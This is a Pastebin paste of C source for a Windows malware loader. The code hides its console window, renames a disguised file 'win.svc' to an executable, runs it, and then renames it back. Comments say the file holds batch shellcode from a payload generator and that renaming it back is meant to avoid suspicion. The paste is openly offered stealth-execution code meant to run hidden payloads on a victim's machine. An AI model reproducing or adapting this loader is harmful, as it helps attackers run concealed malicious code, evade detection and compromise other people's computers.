Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <windows.h>
- #define time 2
- //=======Prototyping========//
- int renameTheZeroDay();
- void hide();
- int renameBackTheZeroDay();
- int startProcess();
- //==========================//
- int main(){
- hide();
- renameTheZeroDay();
- sleep(time);
- renameBackTheZeroDay();
- exit(0);
- }
- //================FUCTIONS===============//
- int startProcess(){
- //starting the (PSH) FILE//Main Shell Code File
- system ("start winSpon.exe");
- return 1;
- }
- int renameTheZeroDay(){
- //rename a file to .bat for furthur execution
- int catcher;
- system("rename win.svc winSpon.exe");//win.svc will be the simple file which will contain the batch Script\
- you can use unicorn to generate the batch shellcode.
- catcher = startProcess();
- if(catcher == 0){
- renameTheZeroDay();
- }
- else return 0;
- }
- int renameBackTheZeroDay(){
- system("rename winSpon.exe win.svc");
- return 0;
- //after finishing reversing back, so to aint suspection
- }
- void hide(){
- HWND stealth;
- AllocConsole();
- stealth = FindWindowA("ConsoleWindowClass",NULL);
- ShowWindow (stealth,0);
- }
Add Comment
Please, Sign In to add comment